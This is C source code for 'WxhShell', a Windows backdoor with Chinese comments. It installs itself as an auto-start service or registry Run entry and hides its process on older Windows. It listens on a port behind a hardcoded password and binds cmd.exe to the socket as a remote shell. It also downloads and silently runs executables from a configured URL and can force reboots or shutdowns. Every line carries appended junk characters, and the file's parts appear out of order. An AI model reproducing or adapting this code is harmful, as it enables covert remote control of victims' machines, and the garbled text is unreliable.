    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pt=7~+r  
    if(Boot(SHUTDOWN)) AiY|O S3R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VKT@2HjNT`  
    else { d>YmKTk"  
    closesocket(wsh); G{ F6  
    ExitThread(0); 3sS=?q  
    } NV&;e[z  
    break; U^B"|lc:[  
    } hbV E; 9  
  // 获取shell |)^clkuGX  
  case 's': { :L]-'\y  
    CmdShell(wsh); / pO{2[  
    closesocket(wsh); K1;z Mh  
    ExitThread(0); |$M@09,F"  
    break; !-KCFMvT  
  } '!pAnsXfO  
  // 退出 vkd *ER^  
  case 'x': { M,&tA1CH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ; Zh9^0  
    CloseIt(wsh); buRhQ"  
    break; n49;Z,[~  
    } ?x:m;z/  
  // 离开 S2Zx &D/_  
  case 'q': { !)NYW4"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dz,uS nnm  
    closesocket(wsh); (2: N;  
    WSACleanup(); <H<!ht%q3  
    exit(1); XxhsPFv  
    break; YQN.Ohtv*F  
        } Z#CxQ D%\  
  } 3b#L17D3_  
  } j0AwL7  
7`Qde!+C  
  // 提示信息 >+L7k^[,0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Es0[cU  
} U> W|(Y  
  } (viWY  
=ntft SH  
  return; j(&GVy^;?  
} 5n:nZ_D  
!zU/Hq{wcK  
// shell模块句柄 xf'LR[M  
int CmdShell(SOCKET sock) _jW>dU^B  
{ 9p5= _  
STARTUPINFO si; yGRR8F5>(  
ZeroMemory(&si,sizeof(si)); P%iP:16  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :*=Ns[Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iM8sX B  
PROCESS_INFORMATION ProcessInfo; Hyf"iYv+  
char cmdline[]="cmd"; 3b e6p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RZ*<n$#6  
  return 0; #?_#!T|  
} nQ|GqU\oA  
V)=Z6ti  
// 自身启动模式 )W#T2Z>N1  
int StartFromService(void) 18jJzYawh  
{ S,XKW(5   
typedef struct YDW|-HIF  
{ jg?bf/$s  
  DWORD ExitStatus;  %W(^6p!  
  DWORD PebBaseAddress; nkTYWw  
  DWORD AffinityMask; (9E( Q*J5x  
  DWORD BasePriority; / HL_$g<  
  ULONG UniqueProcessId; nMkOUW:T!  
  ULONG InheritedFromUniqueProcessId; { yTpRQN~  
}   PROCESS_BASIC_INFORMATION; ]{<saAmJC  
TopHE  
PROCNTQSIP NtQueryInformationProcess; w"1 x=+  
7aV$YuL)X~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $_wo6/J5+D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,}KwP*:Z  
-U7,k\g  
  HANDLE             hProcess; k; ;viT  
  PROCESS_BASIC_INFORMATION pbi; fSbS(a  
>}CEN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @`6}`k  
  if(NULL == hInst ) return 0; _p0)vT  
hzq5![/sV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >:A<"wZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S.1( 3j*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7H4L-J3  
Y|_O8[  
  if (!NtQueryInformationProcess) return 0; ]Y{,Nx  
~JLYhA^'+<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z/gsCYS3F  
  if(!hProcess) return 0; 76_<xUt{  
N\'TR6_,b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yc|uD-y  
7_KXD#  
  CloseHandle(hProcess); *U_S1>0n  
C!5I?z&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &~'S)Nun  
if(hProcess==NULL) return 0; bi.wYp(*6L  
VNO'="U  
HMODULE hMod; \X5 3|Y;=  
char procName[255]; ';Nu&D#Ph  
unsigned long cbNeeded; _W}(!TKO  
^zg acn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?,>5[Ha^?  
8TW5(fl  
  CloseHandle(hProcess); "oe!M'aj`1  
GB =bG%Tb  
if(strstr(procName,"services")) return 1; // 以服务启动 bJwc1AJgH  
`0rRKlbj4  
  return 0; // 注册表启动 (n,N8k;  
} $~G@   
; h85=l<8u  
// 主模块 tvGlp)?.  
int StartWxhshell(LPSTR lpCmdLine) []gRfM]$&  
{ sBU_Ft  
  SOCKET wsl; N}DL(-SQ3  
BOOL val=TRUE; ' Rc#^U*n  
  int port=0; or!!s 5[d  
  struct sockaddr_in door; e}e6r3faz  
{yS;NU`2  
  if(wscfg.ws_autoins) Install(); WFem#hq   
7E\g &R.  
port=atoi(lpCmdLine); O@wK[(w^  
uFo/s&6K  
if(port<=0) port=wscfg.ws_port; kM;o0wi  
('JKN"3  
  WSADATA data; zqf[Z3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o,*=$/or  
x6v,lR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m8+:=0|$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8SZK:VE@  
  door.sin_family = AF_INET; [S0mY["  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !D;c,{Oz  
  door.sin_port = htons(port); KUFz:&wK  
G|*G9nQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7&foEJ3q  
closesocket(wsl); %J!NL0x_  
return 1; +{e`]t>_  
} R5ZIC4p  
c]NN'9G!{  
  if(listen(wsl,2) == INVALID_SOCKET) { #)]E8=}  
closesocket(wsl); j8a[ (  
return 1; (:n|v%  
} (v^Z BM_  
  Wxhshell(wsl); "mA1H]r3  
  WSACleanup(); Zi*%*nX  
Oyan9~  
return 0; |IN[uQ  
d@ (vg  
} QD4:W"i  
Du!._  
// 以NT服务方式启动 yLqF ,pvO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b i~=x  
{ +GeWg` \=  
DWORD   status = 0; 2M&$Wuu.q  
  DWORD   specificError = 0xfffffff; 95L yYg  
\0&SI1Yp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jT-<IJh!o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V{ |[oIp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o(fyd)t  
  serviceStatus.dwWin32ExitCode     = 0; fEwifSp.  
  serviceStatus.dwServiceSpecificExitCode = 0; PIxjM>  
  serviceStatus.dwCheckPoint       = 0; 3AeH7g4<  
  serviceStatus.dwWaitHint       = 0; [0!{_E)<  
:c:V%0Yji  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .&|L|q}  
  if (hServiceStatusHandle==0) return; WFDCPQ@  
7&|6KN}c  
status = GetLastError(); J@Yj\9U  
  if (status!=NO_ERROR) 4K7{f+T  
{ cz(G]{N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; niz'b]] +  
    serviceStatus.dwCheckPoint       = 0; wE6A 7\k%  
    serviceStatus.dwWaitHint       = 0; 328L)BmW  
    serviceStatus.dwWin32ExitCode     = status; V|: qow:F  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z&Pu8zG /m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F#|Z# Mu  
    return; RRzP* A%=  
  } fGarUV  
%b?uW] j:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; th 2<o5  
  serviceStatus.dwCheckPoint       = 0; b-%l-u  
  serviceStatus.dwWaitHint       = 0; f^e&hyC   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8,*3zVk-  
} Q0>q:aj\  
'RLOV  
// 处理NT服务事件,比如:启动、停止 $^h?:L:1n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ti2  
{ V.VJcx  
switch(fdwControl) !*vBW/  
{ vD26;S.y[a  
case SERVICE_CONTROL_STOP: X"<|Z]w  
  serviceStatus.dwWin32ExitCode = 0; {[^#h|U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9/3;{`+[a  
  serviceStatus.dwCheckPoint   = 0; d.r Y-k  
  serviceStatus.dwWaitHint     = 0; {7X~!e|w  
  { a+ GJVJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); doLNz4W  
  } "+h/-2rA  
  return; E9$H nj+m  
case SERVICE_CONTROL_PAUSE: B*79qq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C6^j#rl  
  break; D^?_"wjW  
case SERVICE_CONTROL_CONTINUE: MLS;SCl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u)~s4tP4  
  break; ab4LTF|  
case SERVICE_CONTROL_INTERROGATE: Y[G9Vok VX  
  break; 6fGK (r  
}; .NnGVxc5*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dG0VBE  
} KB[QZ`"%!  
e U;jP]FA  
// 标准应用程序主函数 vgThK9{m;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8Q(8b@ZO,  
{ n9] ~  
P {H{UKs#  
// 获取操作系统版本 Le@? /  
OsIsNt=GetOsVer(); . \F7tc8?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '9q6aM/&  
[cpNiw4e  
  // 从命令行安装 L|\Diap  
  if(strpbrk(lpCmdLine,"iI")) Install(); k ,fTW^?  
i!,HB|wQ  
  // 下载执行文件 Ekjf^Uo  
if(wscfg.ws_downexe) { _B$"e[:yX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) % wL,v.}  
  WinExec(wscfg.ws_filenam,SW_HIDE); . #U}q 7X  
} 0p3vE,pF  
MZ~.(&  
if(!OsIsNt) { M[s\E4l:t  
// 如果时win9x,隐藏进程并且设置为注册表启动 d+5:Qrr  
HideProc(); zH=hI Vc  
StartWxhshell(lpCmdLine); Dl A Z"C  
} #ZTLrq5b  
else K\^&+7&zVg  
  if(StartFromService()) %h/! Y<%  
  // 以服务方式启动 6?o>{e7n^  
  StartServiceCtrlDispatcher(DispatchTable); 6mHhC?  
else a D|Yo  
  // 普通方式启动 aYVDp{_  
  StartWxhshell(lpCmdLine); eqhAus?)  
p(?3 V  
return 0; ps+:</;Z  
} )4uq iA6  
JIV8q HC  
XKSX#cia  
q%S8\bt  
=========================================== !<r8~A3!(  
K)5;2lN,  
fl)zQcA  
d?7BxYaa  
V(..8}LlD  
(}~ucI<~  
" x6e+7"#~  
%U?)?iZdL  
#include <stdio.h> P(;Mb{  
#include <string.h> ]o*$h$?s  
#include <windows.h> )4ncutb  
#include <winsock2.h> C Z tiWZ  
#include <winsvc.h> M/B/b<['  
#include <urlmon.h> 5i9Ub |!P  
w-FHhf  
#pragma comment (lib, "Ws2_32.lib") 6x4_b  
#pragma comment (lib, "urlmon.lib") =v 0~[ E4  
xb`CdtG2.  
#define MAX_USER   100 // 最大客户端连接数 o4~kX  
#define BUF_SOCK   200 // sock buffer or.\)(m#(  
#define KEY_BUFF   255 // 输入 buffer B_&^ER5j  
5^2TfG9  
#define REBOOT     0   // 重启 bQ.nFa']  
#define SHUTDOWN   1   // 关机 qZbHMTnT6  
e5OVq ,  
#define DEF_PORT   5000 // 监听端口 U>A6eWhH  
ImHU:iR[J-  
#define REG_LEN     16   // 注册表键长度 r|-J8s#  
#define SVC_LEN     80   // NT服务名长度 ^ItAW$T]F  
hr~.Lj5^W  
// 从dll定义API +WL  D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $5L(gn[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'tuBuYD\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); la`"$f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hirr=a3  
wY`#$)O0*  
// wxhshell配置信息 ZIW7_Y>_  
struct WSCFG { K~@`o-Z[  
  int ws_port;         // 监听端口 "dq>) JF\  
  char ws_passstr[REG_LEN]; // 口令 [q"NU&SX  
  int ws_autoins;       // 安装标记, 1=yes 0=no AT ymKJ  
  char ws_regname[REG_LEN]; // 注册表键名 0BDS_Rx  
  char ws_svcname[REG_LEN]; // 服务名 w4A#>;Qu*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rKIRNc#d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 24X=5Aj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XtzOFx/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {u4i*udG`)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `^%@b SE(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mu>] 9ZW  
UR,?!rJ^B  
}; ^U{P3 %uZ  
@,Jb7V<  
// default Wxhshell configuration vX.]hp5~  
struct WSCFG wscfg={DEF_PORT, )Ga8`t"  
    "xuhuanlingzhe", PW)8aLU  
    1, 6sy,A~e  
    "Wxhshell", .hne)K%={y  
    "Wxhshell", hgwn> p:S#  
            "WxhShell Service", TrQm]9@  
    "Wrsky Windows CmdShell Service", ^'Y HJEK  
    "Please Input Your Password: ", r0uJ$/!  
  1, S}mm\<=1  
  "http://www.wrsky.com/wxhshell.exe", CjV7q y  
  "Wxhshell.exe" $eMK{:$O  
    }; eI?HwP{m  
K1-+A2snhV  
// 消息定义模块 #G~wE*VR$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C *Xik9n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oX{@'B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9 tAE#A  
char *msg_ws_ext="\n\rExit."; B!iFmkCy  
char *msg_ws_end="\n\rQuit."; FE}s#n_Pd  
char *msg_ws_boot="\n\rReboot..."; kwc*is  
char *msg_ws_poff="\n\rShutdown..."; 23k)X"5  
char *msg_ws_down="\n\rSave to "; ]_\AHnJ  
pU@YiwP"]x  
char *msg_ws_err="\n\rErr!"; L6x B`E9  
char *msg_ws_ok="\n\rOK!"; AoU_;B\b%  
S*s:4uf  
char ExeFile[MAX_PATH]; J@gm@ jLc  
int nUser = 0; "u5KbJW  
HANDLE handles[MAX_USER]; PY\W  
int OsIsNt; jJ<;2e~OW  
(gD Q\t@3-  
SERVICE_STATUS       serviceStatus; ;t~*F#p(!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [9J:bD  
$':JI#  
// 函数声明 sX!3_ '-  
int Install(void); Wt"ww~h`(  
int Uninstall(void); }pK v.  
int DownloadFile(char *sURL, SOCKET wsh); Q!`)e@r  
int Boot(int flag); iel-<(~   
void HideProc(void); nfa_8  
int GetOsVer(void); 8XlU%a6x  
int Wxhshell(SOCKET wsl); zF?31\GOX  
void TalkWithClient(void *cs); gY%OhYtF2  
int CmdShell(SOCKET sock); @o60 c  
int StartFromService(void); ?0uOR *y'  
int StartWxhshell(LPSTR lpCmdLine); ot0U-G(  
ovbEmb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +\srZ<67  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  M$F{N  
r(]98a]o~  
// 数据结构和表定义 _tA7=*@8  
SERVICE_TABLE_ENTRY DispatchTable[] = %6N)G!P  
{ S7Znz@  
{wscfg.ws_svcname, NTServiceMain}, blUY.{NN3  
{NULL, NULL} l\_x(BH  
}; m^'~&!ba  
:q(D(mK  
// 自我安装 B_!wutV@  
int Install(void) 'OG{*TDPu  
{ JBvk)ogM  
  char svExeFile[MAX_PATH]; >T`zh^+5W  
  HKEY key; ygMd$0:MN  
  strcpy(svExeFile,ExeFile); "~_$T@^k>  
*/4tJ G1U  
// 如果是win9x系统,修改注册表设为自启动 @K7ebYr?  
if(!OsIsNt) { <o ~t$TH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &{BBxv)y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?THa5%8f  
  RegCloseKey(key); 4Q@\h=r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b'&LBT7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nT#37v  
  RegCloseKey(key); &yB%QX{3  
  return 0; <>VID E  
    } Qg[heND  
  } ?vMK'"  
} /q T E  
else { '^e0Ud,  
hI*`>9l  
// 如果是NT以上系统,安装为系统服务 |y klT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'y< t/qo  
if (schSCManager!=0) re]%f"v:5  
{ Ndo}Tk!  
  SC_HANDLE schService = CreateService J_|7$ l/  
  ( 4C6=77Jr  
  schSCManager, =Y/}b\9`T  
  wscfg.ws_svcname, q)NXyy4BT  
  wscfg.ws_svcdisp, Kq$:\B)<c  
  SERVICE_ALL_ACCESS, ix:2Z-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 33*^($bE&  
  SERVICE_AUTO_START, XMomFW_@  
  SERVICE_ERROR_NORMAL, KuIkul9^%  
  svExeFile, h|K\z{ A  
  NULL, $|rCrak;  
  NULL, [+y &HNf  
  NULL, fBf]4@{  
  NULL, oN_S}o  
  NULL UVz=QEuYb  
  ); =sxkrih  
  if (schService!=0) J 0&zb'1  
  { Tc9&mKVE%(  
  CloseServiceHandle(schService); *@CVYJ'<  
  CloseServiceHandle(schSCManager); $K`_ K#A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4A;[s m^f  
  strcat(svExeFile,wscfg.ws_svcname); dUI3erO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rk}\)r\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iKohuZr  
  RegCloseKey(key); ]U_5\$  
  return 0; b*cW<vX}~  
    } :b.3CL\.6  
  } a:=q8Qy  
  CloseServiceHandle(schSCManager); $[)6H7!U)  
} ThjUiuWe  
} @mvIt  
zB;'_[8M  
return 1; AU3auBol ^  
} Jw2B&)k/  
)ZQHa7V  
// 自我卸载 O'"YJ,  
int Uninstall(void) Ii|uGxEc  
{ pTc$+Z7 3  
  HKEY key; #E*@/ p/  
nUiS<D2  
if(!OsIsNt) { 8w03{H 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O 5g}2  
  RegDeleteValue(key,wscfg.ws_regname); c$@`P  
  RegCloseKey(key); Xq+!eOT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VEL:JsY  
  RegDeleteValue(key,wscfg.ws_regname); FX{ ~"  
  RegCloseKey(key); KX0<j  
  return 0; N<p5p0  
  } AmP#'U5  
} ue,#, 3{m  
} -L+\y\F  
else { OD{5m(JwL  
PthId aN@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `)0Rv|?  
if (schSCManager!=0) or?0PEx\  
{ t8L<x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KDux$V4  
  if (schService!=0) += X).X0K  
  { v]B0!k&4.  
  if(DeleteService(schService)!=0) { ,O$Z,J4VL  
  CloseServiceHandle(schService); );0<Odw%.  
  CloseServiceHandle(schSCManager); d\v$%0  
  return 0; elN{7:  
  } 9 yh9HE  
  CloseServiceHandle(schService); N7d17c. 5  
  } (J6" ;  
  CloseServiceHandle(schSCManager); "9c.CI  
} D2Vb{%(4.  
} w%>aR_G  
A M>Yj  
return 1; }v_p gatC  
} szf"|k!  
Zkf 3t>[  
// 从指定url下载文件 9zXu6<|qrL  
int DownloadFile(char *sURL, SOCKET wsh) ^</65+OT+  
{ r~ZS1Tp  
  HRESULT hr; 5F'%i;)oq  
char seps[]= "/"; Yh}zt H  
char *token; aR`_h=a  
char *file; EJ WOXxU  
char myURL[MAX_PATH]; (%``EIc<8  
char myFILE[MAX_PATH];  !7 ei1  
( rA\_FOJ  
strcpy(myURL,sURL); ^L>MZA ?  
  token=strtok(myURL,seps); OpWeW  
  while(token!=NULL) J xA^DH  
  { #pS]k<o%1  
    file=token; cp E25  
  token=strtok(NULL,seps); CBiU#h q  
  } _fczE~O/  
XkMs   
GetCurrentDirectory(MAX_PATH,myFILE); i_j9/k  
strcat(myFILE, "\\"); b:N^Fe  
strcat(myFILE, file); Ha46U6_'h  
  send(wsh,myFILE,strlen(myFILE),0); J!21`M-Ue  
send(wsh,"...",3,0); i /O1vU#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [W^6u7~  
  if(hr==S_OK) o0,UXBx  
return 0; C><<0VhU  
else *(?U  
return 1; :z0s*,QH  
LydbP17K}  
} ek<PISlci  
D6&mf2'u  
// 系统电源模块 FRl3\ZDqrb  
int Boot(int flag) 'hwV   
{ " #mXsp-ut  
  HANDLE hToken; [}W^4,  
  TOKEN_PRIVILEGES tkp; >P6^k!R1y  
y3 ({(URU  
  if(OsIsNt) { {0NsDi>(2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q3<bC6$r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,!o\),N  
    tkp.PrivilegeCount = 1; XM$5S+e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m#5|J@]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sD LVYD  
if(flag==REBOOT) { !Z<mrr;T@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X_lUD?y  
  return 0; O ,F]\  
} { ()p%#*  
else { R&u)=~O\5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {AU` }*5  
  return 0; c,v^A+sZu  
} ]jVIpGM  
  } KKx&UKjV  
  else { SR&(HH$  
if(flag==REBOOT) { #~bU}[{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _H~pH7WU  
  return 0; @Og\SZhn  
} @{J!6YGh  
else { N.fQ7z=Z(M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hrd5p+j  
  return 0; OPvj{Dv$0  
} d-6sC@PB  
} 2ru*#Z#(  
aGq_hP   
return 1; B)j`}7O 06  
} +z]:CF  
aJuj7y-  
// win9x进程隐藏模块 <3SFP3^:  
void HideProc(void) ,XWay%8{E  
{ HMEs8.  
?G~/{m.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z")3_5Br  
  if ( hKernel != NULL ) p`E|SNt/W  
  { 8k+q7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >5Q^9 9V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (uuEjM$3%  
    FreeLibrary(hKernel); Pi&fwGL  
  } B|]t\(~$ [  
,(@Y%UW:  
return; Dg9--wI}I9  
} "k\Ff50  
pz*/4  
// 获取操作系统版本 M-&^   
int GetOsVer(void) ?J^IAF y  
{ L337/8fh  
  OSVERSIONINFO winfo; 7 SjF9x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~.PPf/ Z8]  
  GetVersionEx(&winfo); !L0E03')k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C|.$L<`  
  return 1; -)y> c  
  else *@bg/S K%  
  return 0; EO o'a  
} K,lK\^y  
h@PMCmf_  
// 客户端句柄模块 bGMeBj"R  
int Wxhshell(SOCKET wsl) 7.lK$J:  
{ 8 7|8eU2:k  
  SOCKET wsh; O" X!S_R  
  struct sockaddr_in client; :)A.E}G  
  DWORD myID; VV0EgfJ  
%9~kA5Qj  
  while(nUser<MAX_USER) r 48;_4d)D  
{ q_9N+-?{7  
  int nSize=sizeof(client); nK?k<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DU*g~{8T$  
  if(wsh==INVALID_SOCKET) return 1; + ,vJ7  
F?RCaj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YobC'c\~9  
if(handles[nUser]==0) M/8#&RycQ  
  closesocket(wsh); ,%)WT>  
else Azq#}Oe)u  
  nUser++; |k7ts&2  
  } Q ^1#xBd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eu}:Wg2  
,z0~mN  
  return 0; ~L \(/[  
} gNEzlx8A  
H649J)v+m  
// 关闭 socket evndw>  
void CloseIt(SOCKET wsh) ^huBqEs  
{ ^V XXq  
closesocket(wsh); n7`.<*:  
nUser--; Sq?6R}q%  
ExitThread(0); >n$E e J  
} ;4S [ba1/  
?v)"%.  
// 客户端请求句柄 $X.'W\o|  
void TalkWithClient(void *cs) (zM+7tJH  
{ %~B)~|h  
\0*yxSg,^  
  SOCKET wsh=(SOCKET)cs; QRg"/62WCD  
  char pwd[SVC_LEN]; /\3XARt  
  char cmd[KEY_BUFF]; `F- Dd4B  
char chr[1]; \K_!d]I {  
int i,j; T,xVQ4J?  
fr,CH{Uq  
  while (nUser < MAX_USER) { VxPTh\O*[  
Y00i{/a 8  
if(wscfg.ws_passstr) { bAy5/G!_R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); st'?3A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $:-= >  
  //ZeroMemory(pwd,KEY_BUFF); HkfSx rTgQ  
      i=0; QAOk  
  while(i<SVC_LEN) { R+ #.bQg  
YVZSKU  
  // 设置超时 O w($\,  
  fd_set FdRead; g1hg`qBBW  
  struct timeval TimeOut; &23ss/  
  FD_ZERO(&FdRead); L3G)?rPFC#  
  FD_SET(wsh,&FdRead); ( 7Ca\H3$  
  TimeOut.tv_sec=8; /k3n{ ?$/  
  TimeOut.tv_usec=0; ?^G$;X7B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  a`h$lUb-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _!CvtUU0Vv  
qed!C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o{-USUGj7  
  pwd=chr[0]; [r/Seg"  
  if(chr[0]==0xd || chr[0]==0xa) { `aX}.{.!  
  pwd=0; }07<(,0n  
  break; !g8.8(/t)  
  } d'g{K]=tF  
  i++; 0|DG\&?  
    } D)/XP  
]uj.uWD  
  // 如果是非法用户,关闭 socket Tm~#wL +r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U*qK*"k  
} ("P mB?20  
u UVV>An  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v\?\(Y55Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "]\":T  
BorfEv} SN  
while(1) { P+zI9~N[  
@x-GbK?  
  ZeroMemory(cmd,KEY_BUFF); 5f`XFe$8  
uy*x~v*I]  
      // 自动支持客户端 telnet标准   [%)B%h`XGf  
  j=0; T=f;n;/>  
  while(j<KEY_BUFF) { DRmh(T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2G:{FY  
  cmd[j]=chr[0]; $RFu m'`5  
  if(chr[0]==0xa || chr[0]==0xd) { G/RheH G  
  cmd[j]=0; <GFB'`L  
  break; KAZkVL  
  } 7i|hlk;  
  j++; o}^vREO  
    } S>ylAU;N  
.pu`\BW>  
  // 下载文件 Uf]Pd)D  
  if(strstr(cmd,"http://")) { t+)GB=C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \tw#p k  
  if(DownloadFile(cmd,wsh)) koWb@V]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y ,pS/  
  else Mb/6>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PJ11LE  
  } 7!yF5 +_d  
  else { 7Hkf7\JY  
Xi`U`7?D(=  
    switch(cmd[0]) { [@FeRIu8  
